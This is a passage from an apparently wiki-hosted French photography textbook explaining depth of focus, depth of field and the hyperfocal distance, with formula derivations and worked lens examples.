sur la neige. Quand la luminosité baisse mais reste suffisante pour permettre la perception des couleurs, il s'ouvre de plus en plus jusqu'à son diamètre maximum ; après quoi, si la lumière continue de baisser, il reste grand ouvert et n'intervient plus ; la production de [[rhodopsine]] commence, la sensibilité des bâtonnets augmente tandis que la vision des couleurs par les cônes diminue et finit par disparaître. Accessoirement, quand l'iris se ferme, la profondeur de foyer augmente (nous verrons plus loin ce dont il s'agit) ; pour un œil normal, rien ne change mais l'image perçue par les personnes souffrant d'un trouble '''non corrigé''' de la [[réfraction]] ou de l'[[accommodation]] ([[myopie]], [[hypermétropie]], [[presbytie]], etc.) devient alors moins floue, ces personnes voient donc mieux en pleine lumière. <center>[[Image:Catpupil03042006.jpg|150px]]</center> Les pupilles « en amande » des chats et d'autres animaux généralement semi-nocturnes permettent une variation d'ouverture plus grande que les pupilles rondes. Mais qui peut savoir ce que voit exactement un chat ? |Il en va tout autrement pour l'appareil photo : pour une prise de vue donnée, avec un équipement approprié, la meilleure répartition de la netteté est obtenue pour une ouverture de diaphragme bien précise dont nous verrons plus loin comment on peut la déterminer. Si un équipement mal choisi ou des circonstances inattendues conduisent à s'écarter de cette ouverture optimale, par exemple en raison d'un risque de bougé ou pour des raisons photométriques (elle conduirait à une sur-exposition ou à une sous-exposition), cela se fait toujours au détriment de la qualité de l'image. Après qu'il a choisi le point de vue et la focale de son objectif, le photographe peut et doit encore jouer sur la sensibilité de sa pellicule ou sur la sensibilité apparente de son capteur ; il doir aussi, bien sûr, déterminer le temps de pose en tenant compte des luminances du sujet. Lorsque ces réglages sont confiés aux automatismes de l'appareil, les résultats sont souvent très satisfaisants mais il est presque toujours possible de les améliorer en imposant une netteté ou un flou plus important, ce qui nécessite la prise de contrôle du diaphragme. |- |} En fait, '''si l'iris de l'œil et le diaphragme de l'appareil présentent des similitudes « mécaniques », l'analogie s'arrête là car leurs fonctions sont très différentes'''. '''L'iris règle la lumière lors de la seule vision diurne et n'a normalement aucun effet notable sur la netteté. Le diaphragme règle la netteté et, sauf obligation absolue, ne devrait jamais être utilisé pour régler la lumière.''' == Calcul de la profondeur de foyer == On appelle '''profondeur de foyer''' l'intervalle dans lequel doit se trouver la surface sensible pour que l'image d'un objet plan perpendiculaire à l'axe optique et sur lequel on a fait la mise au point soit considérée comme nette, pour un usage donné. Nous ferons les hypothèses suivantes : * l'objectif sera considéré comme une lentille simple ; le calcul serait exactement le même en utilisant non plus le centre optique O de la lentille, mais les points nodaux d'un système centré. * l'objectif sera considéré comme parfait, capable de donner une image ponctuelle d'un point lumineux ; le calcul s'appliquera donc d'autant mieux que l'objectif sera de haute qualité. * on suposera que les éventuelles opérations ultérieures, comme l'agrandissement sur papier ou la projection, ne provoquent aucune dégradation de l'image. Les formules classiques des lentilles simples se trouvent dans l'article relatif à l'[[optique géométrique]], rappelons simplement les deux suivantes : <center> <math>\frac{1}{p}+\frac{1}{p'}=\frac{1}{f}</math> et <math>g=\frac{p'}{p}</math> qui donnent <big><big><math>p'=f\,(g+1)</math></big></big> </center> ''Ces formules sont données ici, comme dans tout le reste de l'article, sous leur forme arithmétique : il est en effet impossible d'affecter un signe négatif ou positif à l'agrandissement d'une image par des voies informatiques ...'' [[Image:Profondeur de foyer.svg|400px|center]] Les rayons lumineux issus de P convergent en P' en formant des faisceaux d'autant plus ouverts que le diamètre '''d''' du diaphragme est plus important. Si le plan de la pellicule ou du capteur n'est pas placé exactement en P', l'image enregistrée ne sera pas un point mais une petite tache circulaire. Celle-ci sera néanmoins perçue comme nette si elle est vue depuis '''O''' sous un angle au plus égal à <big>'''ε'''</big>. [[Image:Calcul de la profondeur de foyer.svg|300px|center]] Voici le calcul complet de ces deux distances, suivi des simplifications usuelles. Les lecteurs rebutés par les formules peuvent sauter sans inconvénient les parties encadrées. Pour '''x''', les triangles semblables donnent <math>\frac{\epsilon\, (p'-x)}{d} = \frac{x}{p'}</math> et donc <math>p' \epsilon\, (p'-x) = d\,x </math> on en tire facilement la valeur de '''x''' : <math>\epsilon\, p'^2 = x\, (d + \epsilon\, p')</math>, d'où <math>x = \frac{\epsilon\, p'^2}{d + \epsilon\, p'}</math> on remplace '''p'''' par sa valeur en fonction de la distance focale f et du grandissement '''g''' : <math>x= \frac{\epsilon\, f^2\,(g+1)^2}{d+ \epsilon\,f\,(g+1)} = \frac{\epsilon\,f\, (g+1)^2}{\frac{d}{f} + \epsilon\, (g+1)}</math> en divisant tout par '''f'''. on voit apparaître ici l'ouverture relative de l'objectif <math>n=\frac{f}{d}</math> <math>x = \frac{\epsilon\, f\, (g+1)^2}{\frac{1}{n} + \epsilon\, (g+1)} = \frac{\epsilon\, f\, (g+1)^2\,n}{1 + \epsilon\, (g+1)\,n}</math> le calcul de '''x'''' se conduit de la même façon : <math>\frac{\epsilon\, (p'+x')}{d} = \frac{x'}{p'}</math> et finalement <math>x' = \frac{\epsilon\, f\, (g+1)^2\,n}{1 - \epsilon\, (g+1)\,n}</math> Les formules complètes conviennent à certains cas particuliers mais le produit <big>'''ε n'''</big> et le grandissement '''g''' sont le plus souvent très faibles devant 1. On retiendra donc en général cette forme simplifiée : <center> {| cellspacing="O" cellpadding="5" border="1" |- |'''<big><big><math>x \approx x' \approx \epsilon\,n\,f\,(g+1)^2</math></big></big>''' |- |} </center> <br/> L'intervalle dans lequel doit se trouver le plan de la pellicule ou du capteur est d'autant plus grand que le focale est plus longue, le grandissement plus important et le diaphragme plus fermé.<br/><br/> '''Exemple :''' on veut photographier un objet situé à l'infini ou très loin (g=0) avec un objectif de focale 50 mm ouvert à f:2 et une limite de flou tolérée de 1/1500 radian : <math>x=\frac{2.50}{1500}={0,066\,mm}</math> <br/> Toutes choses égales par ailleurs, un réglage du diaphragme à f:22 donnerait x = 0,7 mm, ce qui est évidemment beaucoup moins contraignant.<br/> On comprend mieux dès lors pourquoi les appareils doivent être construits avec une grande précision, en particulier s'ils comportent une visée réflex ou un capteur de petit format derrière un objectif de courte focale. Le maintien de la planéité des pellicules photographiques est également, depuis toujours, un souci pour les constructeurs. <br/> Pour beaucoup d'usages scientifiques, la limite de netteté de 1/1500 peut être considérée comme très insuffisante. Les exigences de précision se trouvent évidemment renforcées et rien n'est possible sans utiliser un objectif de très haute qualité. == Calcul de la profondeur de champ == === Avertissement === Les différentes formules que nous allons établir reposent sur des hypothèses bien définies mais souvent fort éloignées des situations pratiques, voire impossible à respecter. C'est pourquoi nous envisagerons ensuite comment il convient de les utiliser de façon optimale ou même de les modifier pour tenir compte des situations concrètes. Retenons l'avertissement de Louis-Philippe Clerc (La technique photographique, 2e édition, 1934) : ''On ne saurait trop insister sur le caractère arbitraire de tels calculs, basés sur la conception artificielle de rayon lumineux ; cette conception, destinée à faciliter l'application à l'optique des règles de la géométrie, même dans certains cas où elles ne sont plus applicables, amène fréquemment à des conclusions en antagonisme avec les prévisions de l'optique physique, dûment vérifiées par l'expérience ; en particulier, dans le cas considéré, l'optique géométrique ne tient pas compte d'un facteur essentiel, la répartition de la lumière à l'intérieur des taches-images.'' === Les principaux résultats === Nous disposons désormais de tous les éléments pour entrer dans le vif du sujet. Les hypothèses sont les mêmes que dans le cas précédent et les diverses distances seront notées conventionnellement '''OA = a''', '''OA' = a'''', '''OP = p''', etc. La mise au point a été faite à la distance du point '''P''' et la surface sensible calée très exactement sur le point '''P'''' où convergent les rayons issus de '''P'''. * Les rayons issus d'un point extrême '''R''', qui correspond à la limite éloignée de profondeur de champ, convergent en '''R'''' et poursuivent leur course jusqu'à la surface sensible où ils forment une tache de diamètre <big><big><math>\epsilon\,p'</math></big></big>. * Les rayons issus d'un point extrême '''A''', qui correspond à la limite proche de profondeur de champ, convergeraient en '''A'''' s'ils n'étaient pas interceptés par la surface sensible, sur laquelle ils forment eux aussi une tache de diamètre <big><big><math>\epsilon\,p'</math></big></big>. [[Image:Profondeur de champ.svg|600px|center]] Avec les appareils compacts numériques, qui utilisent des capteurs souvent minuscules associés à des objectifs de courte focale, ce diamètre est très faible et les performances des objectifs et des capteurs doivent être du meilleur niveau .... Si p' vaut par exemple 12 mm, avec une limite de netteté de 1/1500, on obtient : <math>\epsilon\, p' = \frac{12}{1500}= 0,008 mm = 8 \mu\, m</math> La portion de l'espace comprise entre les deux plans perpendiculaires à l'axe optique qui passent par A et R sera susceptible de fournir une image nette '''compte tenu des critères adoptés pour le calcul'''. L'espace qui sépare ces deux plans correspond à la '''profondeur de champ'''. Cette profondeur varie énormément avec le diaphragme, elle peut être quasi nulle si l'objectif est lumineux et grand ouvert et considérable s'il est fermé au maximum. <center> {| cellpadding="5" |- |align="center"|'''Formules essentielles''' |- |align="center" bgcolor="cccccc"| On considère un objectif de focale '''f''' mis au point à la distance '''p''', avec une ouverture relative du diaphragme '''n'''. Les deux distances extrêmes '''a''' et '''r''' s'écrivent : {| border="1" cellpadding="5" |- |<math>a=\frac{pf}{f+\epsilon pn} \qquad et \qquad r=\frac{pf}{f-\epsilon pn} </math> |- |} Si la netteté doit s'étendre de la distance '''a''' à la distance '''r''', la mise au point doit être faite '''dans tous les cas''' à la distance : {| border="1" cellpadding="5" |- |<math>p=\frac{2ar}{a+r}</math> |- |} avec comme ouverture maximale du diaphragme: {| border="1" cellpadding="5" |- |<math>n=\frac{f(r-a)}{2ar\epsilon}</math> |- |} <br/> |- |} </center> <br/> * '''Remarque 1 :''' vous lirez ou entendrez probablement un jour que ''la profondeur de champ est répartie pour un tiers devant le plan de mise au point et deux tiers derrière''. En réalité, elle s'étend toujours davantage derrière que devant mais pas en proportions fixes : en macrophoto, les profondeurs avant et arrière sont presque égales mais pour le paysage, quand la netteté s'étend jusqu'à l'infini, la zone arrière est ... infiniment plus grande que la zone avant. Même si elle est très grossièrement vérifiée pour des applications comme le portrait ou le nu en studio, la répartition 1/3 - 2/3 n'est qu'un cas particulier ; mieux vaut donc oublier cette « loi » qui n'en est pas une. * '''Remarque 2 :''' vous trouverez peut-être dans d'autres ouvrages des formules un peu différentes, dans lesquelles les distances sont comptées non pas à partir du centre optique (ou du point nodal objet) mais à partir du plan du film. Cela ne change rien en pratique pour les sujets éloignés mais ces formules donnent des résultats complètement faux en macrophotographie si on les applique sans tenir compte du changement d'origine. === Le détail des calculs === Ce paragraphe n'est destiné qu'aux lecteurs intéressés par l'aspect mathématique des choses et la lecture des zones encadrées n'est pas indispensable pour comprendre la suite de cet exposé. [[Image:Profondeur de champ.svg|400px|center]] ==== Calcul de a (ou r) ==== <math>\frac{\epsilon\,p'}{d}=\frac{a'-p'}{a'}=1-\frac{p'}{a'}</math> Les formules habituelles des lentilles simples permettent d'écrire : <math>p'=\frac{pf}{p-f} \qquad a'=\frac{af}{a-f} \qquad r'=\frac{rf}{r-f}</math> <math>\frac{\delta}{d}=1-\frac{pf}{p-f} \cdot \frac{a-f}{af} =\frac{a(p-f)-p(a-f)}{a(p-f)}=\frac{f(p-a)}{a(p-f)}</math> Par ailleurs <math>\frac{\delta}{d}=\frac{\epsilon\frac{pf}{p-f}}{\frac{f}{n}}=\frac{\epsilon p f n}{f(p-f)}</math> <math>\frac{f(p-a)}{a(p-f)}=\frac{\epsilon p f n}{f(p-f)} \qquad \to \qquad \frac{p-a}{a}=\frac{\epsilon pn}{f}</math> <math>(p-a)f=\epsilon p n a \qquad \to \qquad a(\epsilon pn+f)=pf \qquad \to \qquad a= \frac{pf}{\epsilon pn+f}</math> CQFD. Le calcul de r se conduit exactement de la même manière. ==== Calcul de p ==== <math>\frac{\epsilon n}{f}=\frac{1}{a}-\frac{1}{p}=\frac{1}{p}-\frac{1}{r} \qquad \to \qquad \frac{2}{p}=\frac{1}{a}+\frac{1}{r} \qquad \to \qquad p=\frac{2ar}{a+r}</math> ==== Calcul de n ==== On va partir de a et remplacer p par la valeur qui vient d'être calculée : <math>a=\frac{pf}{\epsilon pn+f}=\frac{\frac{2ar}{r+a} f}{\epsilon \frac{2ar}{r+a}n+f}=\frac{2arf}{2ar \epsilon n+f(r+a)}</math> <math>2ar\epsilon n+f(r+a)=2rf \qquad \to \qquad n=\frac{2rf-f(r+a)}{2ar\epsilon} \qquad \to \qquad n=\frac{f(r-a)}{2ar\epsilon}</math> === Exemple de calcul === On veut photographier un sujet dont les divers éléments intéressants sont compris entre 1,5 m et 3 m, avec un objectif de focale 50 mm (0,05 m) et une limite angulaire de netteté de 1/1500. <math>p=\frac{2\cdot1,5\cdot3}{1,5+3}=2\,m \qquad et \qquad n=\frac{0,05(3-1,5)1500}{2\cdot1,5\cdot3}=12,5</math><br/> '''Le diaphragme est donc bien un instrument de mise au point !'''<br/><br/> Faut-il un ordinateur pour faire ce calcul ? Non, si l'objectif est muni d'une échelle de profondeur de champ, ce qui n'est évidemment pas le cas avec les équipements de bas de gamme !<br/><br/> [[Image:Echelle de profondeur de champ.jpg|250px|center]]<br/> De part et d'autre du losange qui sert de repère pour les échelles de distance et de diaphragme, on voit des traits symétriques portant des valeurs de diaphragme, 4, 8 et 16. En tournant la bague de mise au point de façon que les repères 1,5 m et 3 m deviennent symétriques par rapport au losange, comme par miracle, on fait la mise au point sur ... 2 m. De plus, nos deux repères se trouvent ... quelque part entre les graduations d'ouverture 11 (nombre non gravé) et 16. Avec 12,5, notre calcul n'est apparemment pas si mauvais. Nous expliquerons plus loin ce petit « miracle ». === Profondeur de champ et distance focale === '''La profondeur de champ varie avec la focale puisque, toutes choses égales par ailleurs, les distances a et r dépendent de f. Mathématiquement, cela semble parfaitement exact, mais en pratique c'est presque toujours faux !''' D'ailleurs, nous verrons un peu plus loin que les formules donnant les limites de la profondeur de champ peuvent très bien s'écrire sous une forme où la distance focale n'apparaît pas ... Pour comprendre ce paradoxe, retournons voir les maisons construites par Le Corbusier à Pessac. Sur le terrain, notre problème n'est pas de faire des tests ou des calculs, mais avant tout de rechercher le point de vue qui mettra le mieux en valeur notre sujet, autrement dit, la meilleure perspective. Ensuite seulement, il faudra réussir la photo. Avec un objectif de 28 mm, nous pouvons nous placer très près de la maison mais celle-ci aura l'allure d'un top model photographié à bout portant avec un gros nez et de petites oreilles au loin. Et puis, il y a cette énorme voiture qui vole la vedette au sujet principal. La photo C n'est évidemment pas la meilleure possible pour montrer la maison et de là où nous sommes, nous ferions de toute manière encore moins bien avec un 17 mm ou un 135 mm. Un objectif à décentrement serait peut-être d'un bon secours, mais ... il n'enlèverait pas la voiture. {| cellpadding="5" |- |'''C''' |'''B''' |'''A''' |- | valign="top" |[[Image:Corbusier 3.jpg|175px]] | valign="top" |[[Image:Corbusier 2.jpg|169px]] | valign="top" |[[Image:Corbusier 1.jpg|190px]] |- |} En prenant 50 m de recul, nous aurons une meilleure perspective mais, pour obtenir la photo B, nous devrons opérer avec une focale de 100 mm. En prenant plus long, la maison sera trop serrée dans le cadre, son environnement sera en grande partie perdu ; en prenant plus court, nous inclurons dans l'image une foule de choses inutiles. Rappelons à toutes fins utiles que la maison a la même hauteur sur les deux premières photos. À supposer que la photo B soit la meilleure possible, elle sera prise '''de là où nous sommes et de nulle part ailleurs''', avec une focale pas plus longue que 100 mm. Pas de chance, nous n'avons emporté ce matin-là qu'un 28 mm, avec lequel, depuis le point idéal, nous prenons la photo A. Pour retrouver le cadrage de la photo B, nous devrons agrandir la zone centrale de notre chef-d'œuvre, ce qui ne posera pas de gros problème. La question est de savoir si, dans cette opération, nous aurons gagné ou perdu de la netteté, donc de la profondeur de champ ... Pour que la comparaison soit valable, supposons que nous disposions d'un objectif de 28 mm et d'un autre de 100 mm absolument parfaits et que nous les utilisions avec la même ouverture relative de diaphragme. Nous regarderons évidemment la photo B et l'agrandissement de même dimension de la partie centrale de la photo A depuis la même distance, de préférence orthoscopique, et sous le même éclairage. Résultat : un point lumineux quelconque du sujet donnera, sur la photo A, une tache 3,5 fois plus petite que sur la photo B. Mais comme il faudra agrandir 3,5 fois la partie centrale de la photo A pour la rendre superposable à la photo B, les deux taches de B et de l'agrandissement de A auront exactement les mêmes dimensions. En généralisant ce résultat à l'ensemble de la surface de ces photos, nous déduirons que la profondeur de champ est identique dans les deux cas et donc indépendante de la distance focale, ce qui bien entendu ne contredit nullement la théorie ! === Profondeur de champ et format de la surface sensible === ==== Détermination de la focale ==== Supposons que nous puissions prendre d'un objet, depuis un point de vue donné '''O''', sur des supports de divers formats, plusieurs photographies mêmement composées. [[Image:Influence du format.png|center]] '''H''' est une dimension de référence de l'objet et '''h''' la dimension correspondante d'une des images. L'angle '''<math>\alpha\,</math>''' sous lequel on voit l'objet et la distance de mise au point '''p''' sont tous deux fixés par le choix du point de vue. Ce dernier dépend de la perspective que l'on souhaite obtenir mais aussi, hélas, de diverses contingences matérielles qui font que l'on ne peut pas toujours s'installer où l'on voudrait. Le grandissement est déterminé par le format de la surface sensible et par la composition de l'image : <math>g = \frac{h}{H} = \frac{p'}{p}</math> La focale de l'objectif est alors imposée : <math>f= \frac{p\,p'}{p+p'} = \frac{p^2\,g}{p+p\,g} = \frac{p\,g}{1+g}</math> Cette formule peut être simplifiée lorsque l'on est loin du sujet car le grandissement est alors très petit et on le néglige devant 1. <math>f\approx p g= p'</math> *'''Exemple 1''' : lors de la photographie d'une nature morte en studio, le centre optique de l'objectif se trouve à 60 cm d'un objet de 250 mm de hauteur. L'image de cet objet doit mesurer 40 mm sur un négatif 6x6 cm. Quelle focale faut-il théoriquement utiliser ? :<math>g=\frac{40}{250}=0,16 \qquad \rightarrow \qquad f=\frac{600\times0,16}{1+0,16}=82,8 mm</math> :Si l'on ne dispose pas de cette focale exacte ou d'un objectif à focale variable, l'utilisation d'une focale plus courte permettra d'obtenir une image plus petite, donc plus sensible aux défauts, mais convenablement composée. * '''Exemple 2''' : on photographie depuis une distance p = 50 m un arbre de hauteur H = 10 m de telle façon que celui-ci donne une image de 20 mm sur une pellicule de 24x36 mm. Attention aux unités ! :<math>f\approx p g = p'= 50000 \frac{20}{10000}= 100\,mm</math> Finalement, lors d'une prise de vue, '''les trois facteurs qui imposent la distance focale de l'objectif sont le choix du point de vue, la composition souhaitée pour l'image et le format de la surface sensible.''' ==== Variation de la profondeur de champ avec le format ==== La distance focale étant imposée par les conditions de prise de vue, ce sont désormais ces dernières qui vont entrer en ligne de compte dans les formules donnant la profondeur de champ. Ainsi, en remplaçant '''f''' par sa valeur en fonction de '''g''', <math>a=\frac{p f}{f+\epsilon p n} = \frac{p \frac{pg}{1+g}}{\frac{pg}{1+g}+\epsilon pn}=\frac{pg}{g+\epsilon n(1+g)}=\frac{p}{1+\epsilon n\frac{1+g}{g}}</math> et <math>r=\frac{p f}{f-\epsilon p n} = \frac{p \frac{pg}{1+g}}{\frac{pg}{1+g}-\epsilon pn}=\frac{pg}{g-\epsilon n(1+g)}=\frac{p}{1-\epsilon n\frac{1+g}{g}}</math> Dans le cas de '''r''' on atteint l'infini lorsque le dénominateur devient nul, ce qui se produire par exemple lorsque le diaphragme est suffisamment fermé : <math>{1-\epsilon n\frac{1+g}{g}}=0 \qquad \rightarrow \qquad n=\frac{g}{\epsilon (1+g)}</math> Lorsque le grandissement est très petit on peut le négliger devant 1 et les formules deviennent : <math>a=\frac{pg}{g+\epsilon n}\qquad et \qquad r=\frac{pg}{g-\epsilon n}</math> Les distances '''a''' et '''r''' qui définissent l'étendue de la profondeur de champ dépendent directement du grandissement et donc du format de l'image originale. Par conséquent, sous réserve que l'image finale soit examinée depuis la distance orthoscopique, il apparaît clairement que : <center>'''la profondeur de champ ne dépend pas de la distance focale'''.</center> Les relations ci-dessus ne sont cependant pas aussi faciles à utiliser que les formules classiques, entre autres parce qu'il n'est pas toujours facile de connaître la valeur du grandissement, c'est pourquoi nous allons les illustrer par des exemples. * '''Exemple 3''' : on photographie depuis une distance p = 50 m un arbre de hauteur H = 10 m de telle façon que celui-ci donne une image de 20 mm sur une pellicule de 24x36 mm. Le diaphragme a été fixé à 5,6 et la limite de netteté à 1/1500 ; quelle est l'étendue de la profondeur de champ ? :On peut utiliser ici la formule approchée pour '''a''' puisque le grandissement qui vaut 20/10000 = 0,002 est très petit par rapport à 1 : :<math>a=\frac{pg}{g+\epsilon n}= \frac {50000 \times 0,002}{0,002 + \frac{5,6}{1500}} = \frac{100}{0,002 + 0,003733} \approx 17500\,mm = 17,5\,m</math> :Le diaphragme minimum pour que la netteté s'étende jusqu'à l'infini est <math>n = \frac{g}{\epsilon} = 0,002 \times 1500 = 3</math> :Il est donc inutile de calculer '''r''' puisque nous avons une ouverture relative de 5,6 ; la netteté s'étendra donc de 17,5 m à l'infini. :Échangeons maintenant notre appareil contre un moyen format 6x9 cm. En respectant les mêmes proportions, l'image de l'arbre mesurera cette fois 50 mm et le grandissement sera 0,005. Nous aurons : :<math>a=\frac{pg}{g+\epsilon n}= \frac {50000 \times 0,005}{0,005 + \frac{5,6}{1500}} = \frac{250}{0,005 + 0,003733} \approx 17500\,mm = 28,6\,m</math> :et <math>r=\frac{pg}{g-\epsilon n}= \frac {50000 \times 0,005}{0,005 - \frac{5,6}{1500}} = \frac{250}{0,005 - 0,003733} \approx 197400\,mm = 197,4\,m</math> :La profondeur de champ sera très nettement réduite et s'étendra donc d'environ 30 m à environ 200 m. * '''Exemple 4''' : on photographie un personnage assis de hauteur 1,2 m ; l'appareil au format 24x36 est situé à 3 m du modèle, le diaphragme est réglé à 8 et l'on veut que l'image mesure 24 mm, soit un grandissement de 0,02, que nous continuerons de négliger devant 1. :<math>a=\frac{pg}{g+\epsilon n}= \frac {3000 \times 0,02}{0,02 + \frac{8}{1500}} = \frac{60}{0,02 + 0,005333} \approx 2370\,mm \approx 2,4\,m</math> :et <math>r=\frac{pg}{g-\epsilon n}= \frac {3000 \times 0,02}{0,02 - \frac{8}{1500}} = \frac{60}{0,02 - 0,005333} \approx 4090\,mm = 4,1\,m</math> :La profondeur de champ va de 2,4 à 4,1 m et s'étend donc sur 1,7 m, il ne devrait pas y avoir de problème. :Passons au format 6x9 cm. L'image a cette fois une hauteur de 60 mm et le grandissement passe à 0,05 :<math>a=\frac{pg}{g+\epsilon n}= \frac {3000 \times 0,05}{0,05 + \frac{8}{1500}} = \frac{150}{0,05 + 0,005333} \approx 2710\,mm \approx 2,7\,m</math> :et <math>r=\frac{pg}{g-\epsilon n}= \frac {3000 \times 0,05}{0,05 - \frac{8}{1500}} = \frac{150}{0,05 - 0,005333} \approx 3360\,mm = 3,35\,m</math> :La profondeur de champ s'étend maintenant de 2,7 à 3,35 m, soit 0,65 m seulement, elle devient beaucoup moins confortable. Ces deux exemples expliquent pourquoi les habitués du 24x36 qui décident un beau matin de passer au moyen format ou à la chambre éprouvent souvent les pires difficultés avec la profondeur de champ, avant de changer leurs habitudes de travail. Ce n'est pas par hasard que les chambres de grand format sont munies d'objectifs dont les diaphragmes affichent des valeurs aussi élevées que 32, 45, 64, voire 90, couramment utilisées en paysage par des photographes tels qu'Ansel Adams. Nous suggérons au lecteur de déterminer la bonne valeur du diaphragme pour obtenir une netteté convenable entre 2 m et l'infini, avec une chambre de 24x30 cm ... * '''Exemple 5 ''': : Un insecte de longueur 12 mm est photographié sur du film 24x36 de façon que son image mesure 24 mm, soit les deux tiers de la longueur du format. Le diaphragme a été réglé à 16 et la netteté est toujours fixée à 1/1500. Quelle est la profondeur de champ disponible ? : Nous voici dans le domaine de la [[Photographie - 23 - Macrophotographie|macrophotographie]], puisque l'image obtenue à la prise de vue est plus grande que l'objet. Le grandissement vaut 2 et il faut donc appliquer les formules complètes : :<math>\frac{1+g}{g} = \frac{3}{2} = 1,5</math> :<math>a = \frac{100}{1+\frac{16}{1500}1,5} = \frac{100}{1+0,016} = 98,4 mm</math> :<math>r = \frac{100}{1-\frac{16}{1500}1,5} = \frac{100}{1-0,016} = 101,6 mm</math> :la profondeur de champ n'atteint que 3,2 mm, ce qui risque fort de ne pas suffire pour avoir une photographie parfaitement nette de la bestiole. :Supposons maintenant que sans changer de point de vue, nous utilisions un appareil compact numérique équipé d'un capteur de 12x9 mm. Avec les mêmes proportions que précédemment l'image de l'insecte mesure cette fois 8 mm seulement, le grandissement n'est plus que de 2/3 et nous ne sommes plus dans le domaine de la macrophotographie ... :<math>\frac{1+g}{g} = 2,5</math> :<math>a = \frac{100}{1+\frac{16}{1500}2,5} = \frac{100}{1+0,02667} = 97,4 mm</math> :<math>r = \frac{100}{1-\frac{16}{1500}2,5} = \frac{100}{1-0,0,2667} = 102,7 mm</math> :la profondeur de champ atteint cette fois 5,3 mm, ce n'est pas le grand luxe mais nous avons gagné 67 % par rapport au cas précédent et nos chances de réussite sont bien meilleures ! :Avec du film, la diminution exagérée du format de prise de vue pose de nombreux problèmes : le grain et les défauts divers de l'émulsion, les risques de rayures, etc. Les conditions ont changé avec l'apparition des capteurs numériques de petit format, liée à une augmentation considérable mais discrète de la qualité des objectifs qui sont de plus petite taille et plus faciles à fabriquer. :Beaucoup de photographes amateurs de diapositives et de macrophotographie ont eu comme une sorte de révélation en troquant leur réflex argentique contre un appareil compact numérique comme le Coolpix 4500 de [[Photographie - 40 - Nikon|Nikon]], attribuant à tort l'augmentation quasi miraculeuse de leur taux de réussite aux vertus du « numérique » et oubliant l'effet du changement de format. Après avoir une nouvelle fois cassé leur tirelire pour s'offrir un réflex numérique muni d'un grand capteur, beaucoup ont alors été très étonnés en retrouvant soudain les problèmes qu'ils connaissaient quelques années auparavant en 24x36 ... <center>Retenons que '''plus l'image obtenue au moment de la prise de vue est petite, plus la profondeur de champ est grande'''.</center> == Distance hyperfocale == La profondeur de champ s'étend normalement entre une limite proche et une limite lointaine. Que se passe-t-il lorsque la seconde se trouve rejetée à l'infini ? Reprenons les formules. <math>\frac{1}{a}=\frac{1}{p}+\frac{\epsilon\,n}{f} \qquad et \qquad \frac{1}{r}=\frac{1}{p}-\frac{\epsilon\,n}{f}</math> Si '''r''' tend vers l'infini, la seconde nous donne : <math>\frac{1}{r}=0 \qquad \to \qquad \frac{1}{p}=\frac{\epsilon n}{f} \qquad \to \qquad p=\frac{f}{\epsilon n}</math> Le report de '''p''' dans la première fournit la relation avec '''a''' : <math>\frac{1}{a}=\frac{1}{p}+\frac{\epsilon n}{f}=\frac{2 \epsilon n}{f} \qquad \to \qquad 2a=\frac{f}{\epsilon n}</math> Finalement : {| cellpadding="5" border="1" |- |<math>p=2a \qquad et \qquad n=\frac{f}{2a\epsilon}</math> |- |} '''Il en résulte que si la netteté doit s'étendre d'une distance a jusqu'à l'infini, * '''la première chose à faire est de régler la mise au point sur 2a''' * '''la seconde est de déterminer l'ouverture du diaphragme en fonction du degré de netteté souhaité.''' Avec un objectif de 50 mm de focale (0,05 m), une profondeur de champ s'étendant de 5 m à l'infini et une limite de netteté de 1/1500, nous ferons la mise au point sur 10 m et nous adopterons pour le diaphragme : <math>n=\frac{0,05 \cdot 1500}{10}=7,5 \approx 8</math> C'est bien ce que nous lisons sur notre échelle de profondeur de champ : [[Image:Echelle de profondeur de champ 2.jpg|200px]] En passant au diaphragme 16, nous pouvons diviser les distances par 2 et donc obtenir, avec une mise au point sur 5 m, une netteté qui s'étendra de 2,5 m jusqu'à l'infini. [[Image:Echelle de profondeur de champ 3.jpg|200px]] Par convention, on appelle '''distance hyperfocale''' la quantité : {| cellpadding="5" border="1" |- |<math>h=\frac{f}{\epsilon \, n}</math> |- |} Contrairement à la focale, cette distance ne caractérise pas un objectif donné, mais un '''ensemble de trois paramètres''' qui sont la focale, l'ouverture du diaphragme et le degré de netteté choisi arbitrairement (ce qui ne veut pas dire au hasard !). Lorsque l'on met au point sur l'infini, la netteté commence à l'hyperfocale. Sur l'échelle de profondeur de champ de notre objectif, '''h''' se lit directement en face des graduations du diaphragme. [[Image:Echelle de profondeur de champ 4.jpg|200px]] On lit 5 m à 16, 10 m à 8 et, en prolongeant la série, on déduit 20 m à 4 ou 40 m à 2, ouverture maximale de cet objectif. Au diaphragme 16, mise au point faite sur l'infini, la netteté commence à 5 m. En mettant au point sur 5 m, elle s'étend de 2,5 m à l'infini. Le fait de mettre au point sur l'infini est presque toujours une erreur et constitue, d'une certaine manière, un « gaspillage » des possibilités de l'objectif . Pour un paysage, par exemple, l'œil est très exigeant pour la netteté des objets situés à quelques mètres ou dizaines de mètres mais beaucoup plus tolérant pour celle des lointains, ce qui rend encore plus logique une mise au point au voisinage de l'hyperfocale. Un préréglage de la mise au point sur l'hyperfocale a permis à beaucoup de grands photographes, par le passé, de gagner un temps précieux lorsqu'ils prenaient des photos sur le vif : ils n'avaient ainsi plus besoin de se préoccuper de la mise au point. Aujourd'hui, cette notion est toujours utile aux photographes qui ont l'habitude d'opérer avec un appareil non automatique ou avec un automatisme à priorité diaphragme : même si l'appareil se charge de la mise au point, le fait de fixer le diaphragme pour disposer dans tous les cas d'une profondeur de champ suffisante améliore les chances de réussite. Les appareils à mise au point fixe sont réglés une fois pour toute sur l'hyperfocale qui correspond à la plus grande ouverture de leur diaphragme. Il faut donc s'attendre à ce qu'ils donnent leurs moins mauvais résultats à des distances de l'ordre de 3 à 5 m. Enfin, en fonction de h, les formules de la profondeur de champ s'écrivent sous une forme qui n'est pas sans rappeler la formule de Snell-Descartes : {| cellpadding="5" border="1" |- |<math>\frac{1}{a}=\frac{1}{p}+\frac{1}{h} \qquad et \qquad \frac{1}{r}=\frac{1}{p}-\frac{1}{h}</math> |- |} ou si l'on préfère : {| cellpadding="5" border="1" |- |<math>a=\frac{p\,h}{h+p} \qquad et \qquad r=\frac{p\,h}{h-p}</math> |- |} == Échelles de profondeur de champ et abaques == Lorsque l'on fait varier la mise au point d'un appareil photographique, on modifie le tirage de l'objectif, c'est-à-dire la distance '''p'''' qui sépare son point nodal image (l'équivalent du centre optique d'une lentille mince) de la surface sensible. Cette variation s'opère par coulissement du porte-objectif ou, le plus souvent, par rotation de l'objectif monté sur une rampe hélicoïdale. C'est cette dernière situation qui nous intéresse ici. Le 